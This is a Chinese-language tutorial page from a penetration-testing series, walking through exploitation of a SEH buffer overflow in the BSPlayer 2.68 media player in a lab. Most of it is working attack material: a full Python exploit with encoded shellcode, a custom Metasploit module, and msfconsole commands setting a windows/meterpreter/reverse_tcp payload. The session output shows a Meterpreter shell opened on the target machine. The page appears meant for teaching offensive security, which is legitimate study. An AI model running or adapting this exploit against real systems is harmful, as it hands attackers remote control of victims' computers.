冰河技术
导读
♻学习路线
  • 面试必问系列

    • 面试必问
  • 架构与模式

    • Java极简设计模式
    • 实战高并发设计模式
  • Java核心技术

    • Java8新特性
    • IOC核心技术
    • JVM调优技术
  • 容器化核心技术

    • Dockek核心技术
  • 分布式存储

    • Mycat核心技术
  • 数据库核心技术

    • MySQL基础篇
  • 服务器核心技术

    • Nginx核心技术
  • 渗透核心技术

    • 渗透实战技术
  • 底层技术
  • 源码分析
  • 基础案例
  • 实战案例
  • 面试
  • 系统架构
  • Spring6核心技术
  • 分布式事务

    • 分布式事务系列视频
  • SpringBoot
  • SpringCloudAlibaba
  • 🔥AI大模型项目

    • 一站式AI智能平台
    • AI智能客服系统
    • AI智能问答系统
    • 实战AI大模型
  • 中间件项目

    • 手写高性能Redis组件
    • 手写高性能脱敏组件
    • 手写线程池项目
    • 手写高性能SQL引擎
    • 手写高性能Polaris网关
    • 手写高性能RPC项目
  • 高并发项目

    • 分布式IM即时通讯系统(新)
    • 分布式Seckill秒杀系统
    • 实战高并发设计模式
  • 微服务项目

    • 简易电商脚手架项目
  • 手撕源码

    • 手撕Spring6源码
🌍知识星球
  • 总览

    • 《书籍汇总》
  • 出版图书

    • 《深入理解高并发编程:核心原理与案例实战》
    • 《深入理解高并发编程:JDK核心技术》
    • 《深入高平行開發:深度原理&專案實戰》
    • 《深入理解分布式事务:原理与实战》
    • 《MySQL技术大全:开发、优化与运维实战》
    • 《海量数据处理与大数据技术实战》
  • 电子书籍

    • 《实战高并发设计模式》
    • 《深入理解高并发编程(第2版)》
    • 《深入理解高并发编程(第1版)》
    • 《从零开始手写RPC框架(基础篇)》
    • 《SpringCloud Alibaba实战》
    • 《冰河的渗透实战笔记》
    • 《MySQL核心知识手册》
    • 《Spring IOC核心技术》
  • 关于自己
  • 关于学习
  • 关于职场
B站
Github
导读
♻学习路线
  • 面试必问系列

    • 面试必问
  • 架构与模式

    • Java极简设计模式
    • 实战高并发设计模式
  • Java核心技术

    • Java8新特性
    • IOC核心技术
    • JVM调优技术
  • 容器化核心技术

    • Dockek核心技术
  • 分布式存储

    • Mycat核心技术
  • 数据库核心技术

    • MySQL基础篇
  • 服务器核心技术

    • Nginx核心技术
  • 渗透核心技术

    • 渗透实战技术
  • 底层技术
  • 源码分析
  • 基础案例
  • 实战案例
  • 面试
  • 系统架构
  • Spring6核心技术
  • 分布式事务

    • 分布式事务系列视频
  • SpringBoot
  • SpringCloudAlibaba
  • 🔥AI大模型项目

    • 一站式AI智能平台
    • AI智能客服系统
    • AI智能问答系统
    • 实战AI大模型
  • 中间件项目

    • 手写高性能Redis组件
    • 手写高性能脱敏组件
    • 手写线程池项目
    • 手写高性能SQL引擎
    • 手写高性能Polaris网关
    • 手写高性能RPC项目
  • 高并发项目

    • 分布式IM即时通讯系统(新)
    • 分布式Seckill秒杀系统
    • 实战高并发设计模式
  • 微服务项目

    • 简易电商脚手架项目
  • 手撕源码

    • 手撕Spring6源码
🌍知识星球
  • 总览

    • 《书籍汇总》
  • 出版图书

    • 《深入理解高并发编程:核心原理与案例实战》
    • 《深入理解高并发编程:JDK核心技术》
    • 《深入高平行開發:深度原理&專案實戰》
    • 《深入理解分布式事务:原理与实战》
    • 《MySQL技术大全:开发、优化与运维实战》
    • 《海量数据处理与大数据技术实战》
  • 电子书籍

    • 《实战高并发设计模式》
    • 《深入理解高并发编程(第2版)》
    • 《深入理解高并发编程(第1版)》
    • 《从零开始手写RPC框架(基础篇)》
    • 《SpringCloud Alibaba实战》
    • 《冰河的渗透实战笔记》
    • 《MySQL核心知识手册》
    • 《Spring IOC核心技术》
  • 关于自己
  • 关于学习
  • 关于职场
B站
Github
  • 第01部分:基础环境篇

    • 安装Kali系统
    • Kali配置
    • Kali中各项菜单的功能
    • 安装open-vm-tools实现虚拟机交互
    • Kali设置静态IP
    • kali安装免杀工具Veil-Evasion
    • 在Debian8上安装WPScan
    • metasploitable2修改密码
    • 操作系统支持的管道符
  • 第02部分:渗透工具篇

    • 使用Easy-Creds工具攻击无线网络
    • Nmap+Zenmap+Amap+Zmap
    • Zenmap
    • Amap
    • Zmap
    • Nessus的整理
    • Burpsuite上传截断及截断原理介绍
    • Kali2.0 Meterpreter 运用
    • lcx.exe内网转发命令教程-LCX免杀下载
    • 字典生成工具Crunch的使用案例
    • WinlogonHack获取系统密码
    • Msfvenom生成各类Payload命令
    • PsExec下载地址及其用法
    • Hydra安装Libssh模块
    • 利用procdump+Mimikatz 绕过杀软获取Windows明文密码
    • SQLMap的用法+谷歌黑客语法
    • SQLMap用法总结
    • SQLMap参数说明
    • 十大渗透测试演练系统
    • 目录扫描神器DirBuster用法
    • NMap在实战中的常见用法
    • Metasploit模块的格式说明
    • Meterpreter命令大全
    • Metasploit-Meterpreter-Shell信息收集相关的命令
    • 使用Metasploit编写绕过DEP渗透模块
    • Metasploit渗透php-utility-belt程序
    • 内网IPC$入侵
    • Metasploit渗透BSPlayer V2.68
    • Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网
    • Metasploit攻击PHP-CGI查询字符串参数漏洞并渗透内网
    • Metasploit攻击HFS2.3上的漏洞
    • Metasploit访问控制的持久化
    • Metasploit清除渗透痕迹
    • 利用Metasploit找出SCADA服务器
    • 利用Metasploit渗透DATAC-RealWin-SCADA Server2.0
    • MSF-Meterpreter清理日志
    • Metasploit自定义FTP扫描模块
    • Metasploit渗透MSSQL
    • Metasploit渗透VOIP
    • 破解工具hydra安装与使用
    • Metasploit自定义SSH认证暴力破解器
    • Metasploit自定义让磁盘失效的后渗透模块
    • PowerShell基本命令和绕过权限执行
    • Metasploit自定义收集登录凭证的后渗透模块
    • 利用Java生成穷举字典(数字+字母(大小写)+字符)
    • PowerShell工具之Powerup详解实录
    • Meterpreter以被控制的计算机为跳板渗透其他服务器
    • Win10完美去除桌面快捷图标小箭头
    • OpenVAS 8.0 Vulnerability Scanning
    • kali Metasploit 连接 Postgresql 默认密码
    • kali 使用OpenVAS进行漏洞扫描
    • kali 对威胁建模(附加搭建CVE:2014-6287漏洞环境)
    • kali Metasploit设置永久访问权限
    • Empire 反弹回 Metasploit
    • Metasploit制作并运行自定义Meterpreper脚本
    • 使用Metasploit实现对缓冲区栈的溢出攻击
    • 使用Metasploit实现基于SEH的缓冲区溢出攻击
    • Metasploit基本后渗透命令
    • Metasploit高级后渗透模块
    • Kali中一键更新Metasploit框架
    • Metasploit其他后渗透模块
    • Metasploit高级扩展功能
    • Metasploit之pushm和popm命令
    • Metasploit使用reload、edit、reload_all命令加快开发过程
    • Metasploit资源脚本的使用方法
    • 在Metasploit中使用AutoRunScript
    • 使用Metasploit获取目标的控制权限
    • 使用Metasploit中的NMap插件扫描并渗透内网主机
    • Kali一句话升级Metasploit的命令
    • Win2012R2打Windows8.1-KB2919355
    • Armitage基本原理
    • Armitage网络扫描以及主机管理
    • 使用Armitage进行渗透
    • 使用Armitage进行后渗透攻击
    • 使用Armitage进行客户端攻击
    • Armitage脚本编写
    • Armitage控制Metasploit
    • Armitage使用Cortana实现后渗透攻击
    • Armitage使用Cortana创建自定义菜单
    • Armitage界面的使用
    • tcpdump用法说明
  • 第03部分:木马篇

    • 各种一句话木马大全
    • asp图片木马的制作和使用
  • 第04部分:SQL注入篇

    • sqli-labs-master 下载与安装
    • SQL注入点检测方法
    • SQL语句生成一句话
    • ASP连接MSSQL数据库语句
    • SQL注入绕过技术总结
    • SQL Server启动/关闭xp_cmdshell
  • 第05部分:漏洞拿Shell篇

    • 各种解析漏洞拿shell
    • 网站入侵思路
    • IIS 6.0/7.0/7.5、Nginx、Apache 等 Web Service 解析漏洞
    • iis7.5加fck解析漏洞后台拿shell
    • 真正的IIS永远的后门解密
  • 第06部分:暴力破解篇

    • 使用rarcrack暴力破解RAR,ZIP,7Z压缩包
    • 使用reaver傻瓜式破解wifi之利用路由器WPS漏洞
    • Python爆破Wifi密码
    • MySQL暴力破解工具多线程版
  • 第07部分:渗透脚本篇

    • 3389脚本开启代码(vbs版)
    • 触发Easy File Sharing Web Server 7.2 HEAD缓冲区溢出的Python脚本
  • 第08部分:数据与系统提权篇

    • 数据库提权
    • NC反弹CMDSHELL提权总结
    • ASP Web提权
    • MSF提权
    • Metasploit Win10提权
  • 第09部分:客户端渗透篇

    • 浏览器渗透
    • 对网站的客户进行渗透
    • 与DNS欺骗的结合使用
    • 基于PDF文件格式的渗透攻击
    • 基于Word文件格式的渗透攻击
    • 使用Metasploit实现对Linux客户端的渗透
    • 使用Metasploit渗透Android系统
  • 第10部分:社会工程学

    • Metasploit之社会工程学工具包
  • 第11部分:log4j重大漏洞

    • 冰河连夜复现了Log4j最新史诗级重大漏洞,含完整案例代码,全网最全!!
  • 第12部分:问题记录篇

    • HTTP 错误 403.1 - 禁止访问:执行访问被拒绝
    • XP IIS 问题总结
    • IIS 403 404问题
    • DEDE5.7初始化数据体验包获取失败/无法下载安装
    • discuz报错Table 'uc.uc_pms' doesn't exist,uc_pms不存在
    • Windows远程登录提示超出允许最大连接数解决方案
    • Windows 2008自动关机最简单的解决方案
    • Hydra安装报错
    • 安装OpenVAS后找不到默认密码无法登录Web端
    • AppScan使用问题记录
    • Kali系统报错
    • Kali运行WPScan报错

Metasploit渗透BSPlayer V2.68

攻击机 Kali 192.168.109.137

靶机 WinXP 192.168.109.141

应用程序 BSPlayer V2.68 (可以到链接https://download.csdn.net/download/l1028386804/10923699下载BSPlayer V2.68 + 渗透脚本 )

运行渗透脚本36477.py

在靶机的命令行下切换到脚本36477.py所在的目录并输入如下命令:

python 36477.py 127.0.0.1 81

img

安装并打开Bsplayer

安装略。

img

此时,在Bsplayer中依次单击menu->打开 URL(U)... 载入要加载的链接,这里载入的链接为脚本36477.py监听的地址和端口,即:http://127.0.0.1:81,如下图:

img

img

点击确定后,发现弹出了计算器窗口。

img

说明BSPlayer V2.68 存在溢出漏洞。

分析36477.py脚本

脚本具体内容如下:

#!/usr/bin/python

''' Bsplayer suffers from a buffer overflow vulnerability when processing the HTTP response when opening a URL.
In order to exploit this bug I partially overwrited the seh record to land at pop pop ret instead of the full
address and then used backward jumping to jump to a long jump that eventually land in my shellcode.

Tested on : windows xp sp1 - windows 7 sp1 - Windows 8 Enterprise it might work in other versions as well just give it a try :)

My twitter: @fady_osman
My youtube: https://www.youtube.com/user/cutehack3r
'''

import socket
import sys
s = socket.socket()         # Create a socket object
if(len(sys.argv) < 3):
  print "[x] Please enter an IP and port to listen to."
  print "[x] " + sys.argv[0] + " ip port"
  exit()
host = sys.argv[1]      # Ip to listen to.
port = int(sys.argv[2])     # Reserve a port for your service.
s.bind((host, port))        # Bind to the port
print "[*] Listening on port " + str(port)
s.listen(5)                 # Now wait for client connection.
c, addr = s.accept()        # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload first time', addr))
c.recv(1024)
#seh and nseh.
buf =  ""
buf += "\xbb\xe4\xf3\xb8\x70\xda\xc0\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x33\x31\x58\x12\x83\xc0\x04\x03\xbc\xfd\x5a"
buf += "\x85\xc0\xea\x12\x66\x38\xeb\x44\xee\xdd\xda\x56\x94"
buf += "\x96\x4f\x67\xde\xfa\x63\x0c\xb2\xee\xf0\x60\x1b\x01"
buf += "\xb0\xcf\x7d\x2c\x41\xfe\x41\xe2\x81\x60\x3e\xf8\xd5"
buf += "\x42\x7f\x33\x28\x82\xb8\x29\xc3\xd6\x11\x26\x76\xc7"
buf += "\x16\x7a\x4b\xe6\xf8\xf1\xf3\x90\x7d\xc5\x80\x2a\x7f"
buf += "\x15\x38\x20\x37\x8d\x32\x6e\xe8\xac\x97\x6c\xd4\xe7"
buf += "\x9c\x47\xae\xf6\x74\x96\x4f\xc9\xb8\x75\x6e\xe6\x34"
buf += "\x87\xb6\xc0\xa6\xf2\xcc\x33\x5a\x05\x17\x4e\x80\x80"
buf += "\x8a\xe8\x43\x32\x6f\x09\x87\xa5\xe4\x05\x6c\xa1\xa3"
buf += "\x09\x73\x66\xd8\x35\xf8\x89\x0f\xbc\xba\xad\x8b\xe5"
buf += "\x19\xcf\x8a\x43\xcf\xf0\xcd\x2b\xb0\x54\x85\xd9\xa5"
buf += "\xef\xc4\xb7\x38\x7d\x73\xfe\x3b\x7d\x7c\x50\x54\x4c"
buf += "\xf7\x3f\x23\x51\xd2\x04\xdb\x1b\x7f\x2c\x74\xc2\x15"
buf += "\x6d\x19\xf5\xc3\xb1\x24\x76\xe6\x49\xd3\x66\x83\x4c"
buf += "\x9f\x20\x7f\x3c\xb0\xc4\x7f\x93\xb1\xcc\xe3\x72\x22"
buf += "\x8c\xcd\x11\xc2\x37\x12"

jmplong = "\xe9\x85\xe9\xff\xff"
nseh = "\xeb\xf9\x90\x90"
# Partially overwriting the seh record (nulls are ignored).
seh = "\x3b\x58\x00\x00"
buflen = len(buf)
response = "\x90" *2048 + buf + "\xcc" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ "\xcc" * 7000
c.send(response)
c.close()
c, addr = s.accept()        # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload second time', addr))
c.recv(1024)
c.send(response)
c.close()
s.close()

由此脚本我们可以得出几个重要的信息:

img

由此,我们就可以编写渗透模块了。

注意:在当前场景中,需要目标计算机主动来连接我们的渗透服务器,而不是我们去连接目标服务器。因此我们的渗透服务器必须时刻对即将到来的连接处于监听状态。当收到目标请求之后,要向其发送恶意的内容。

创建Metasploit渗透脚本bsplayer_attack_by_binghe.rb

##
# Author 冰河
# Date 2019-01-17
# Description Metasploit渗透 Bsplayer V2.68
#
# 在当前场景中,需要目标计算机主动来连接我们的渗透服务器,而不是我们去连接目标服务器。
# 因此我们的渗透服务器必须时刻对即将到来的连接处于监听状态。当收到目标请求之后,要向
# 其发送恶意的内容。
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::TcpServer
  
  def initialize(info = {})
    super(update_info(info,
      'Name'              => "BsPlayer 2.68 SEH Overflow Exploit",
      'Description'       => %q{
          Here's an example of server Based Exploit
      },
      'Author'            => ['binghe'],
      'Platform'          => 'Windows',
      'Targets'           => 
        [
          ['Generic', {'Ret'  => 0x0000583b, 'Offset' => 2048}],
        ],
      'Payload'           =>
        {
          'BadChars'      => "\x00\x0a\x20\x0d"
        },
      'DisclosureDate'    => "2017-01-17",
      'DefaultTarget'     => 0))
   end
   
  def on_client_connect(client)
    return if((p = regenerate_payload(client)) == nil)
    print_status("Client Connected")
    sploit = make_nops(target['Offset'])
    sploit << payload.encoded
    sploit << "\xcc" * (6787 - 2048 - payload.encoded.length)
    sploit << "\xe9\x85\xe9\xff\xff"
    sploit << "\xeb\xf9\x90\x90"
    sploit << [target.ret].pack('V')
    client.put(sploit)
    client.get_once
    client.put(sploit)
    handler(client)
    service.close_client(client)
  end
end

上传渗透脚本bsplayer_attack_by_binghe.rb

将渗透脚本bsplayer_attack_by_binghe.rb上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/masteringmetasploit目录下

运行渗透脚本bsplayer_attack_by_binghe.rb

msfconsole
use exploit/windows/masteringmetasploit/bsplayer_attack_by_binghe 
set SRVHOST 192.168.109.137
set SRVPORT 8080
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.109.137
set LPORT 8888
show options
exploit

具体操作效果如下:

msf > use exploit/windows/masteringmetasploit/bsplayer_attack_by_binghe 
msf exploit(windows/masteringmetasploit/bsplayer_attack_by_binghe) > set SRVHOST 192.168.109.137
SRVHOST => 192.168.109.137
msf exploit(windows/masteringmetasploit/bsplayer_attack_by_binghe) > set SRVPORT 8080
SRVPORT => 8080
msf exploit(windows/masteringmetasploit/bsplayer_attack_by_binghe) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/masteringmetasploit/bsplayer_attack_by_binghe) > set LHOST 192.168.109.137
LHOST => 192.168.109.137
msf exploit(windows/masteringmetasploit/bsplayer_attack_by_binghe) > set LPORT 8888
LPORT => 8888
msf exploit(windows/masteringmetasploit/bsplayer_attack_by_binghe) > show options

Module options (exploit/windows/masteringmetasploit/bsplayer_attack_by_binghe):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  192.168.109.137  yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.109.137  yes       The listen address (an interface may be specified)
   LPORT     8888             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic


msf exploit(windows/masteringmetasploit/bsplayer_attack_by_binghe) > exploit
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.109.137:8888 
msf exploit(windows/masteringmetasploit/bsplayer_attack_by_binghe) > [*] Started service listener on 192.168.109.137:8080 
[*] Server started.

打开Bsplay并设置打开的URL

打开Bsplay并将URL设置为http://192.168.109.137:8080,点击确定按钮

img

img

img

查看Kali终端结果

此时,我们切换到Kali下查看结果,输出如下:

[*] Client Connected
[*] Client Connected
[*] Sending stage (179779 bytes) to 192.168.109.141
meterpreter > ifconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface 65539
============
Name         : VMware Accelerated AMD PCNet Adapter
Hardware MAC : 00:0c:29:5d:8e:d4
MTU          : 1500
IPv4 Address : 192.168.109.141
IPv4 Netmask : 255.255.255.0


Interface 65540
============
Name         : Bluetooth �s
Hardware MAC : 3c:a0:67:1a:fe:b4
MTU          : 1500

meterpreter > 

此时,我们通过BSPlayer的漏洞拿下了目标主机的Materpreter Shell。

写在最后

如果你觉得冰河写的还不错,请微信搜索并关注「 冰河技术 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 冰河技术 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 冰河技术 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 冰河技术 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!

在 GitHub 上编辑此页
上次更新: 2026/4/29 16:18
Contributors: binghe001
Prev
内网IPC$入侵
Next
Metasploit攻击VSFTPD2.3.4后门漏洞并渗透内网
阅读全文
×

扫码或搜索:冰河技术
发送:290992
即可立即永久解锁本站全部文章

星球会员
跳转链接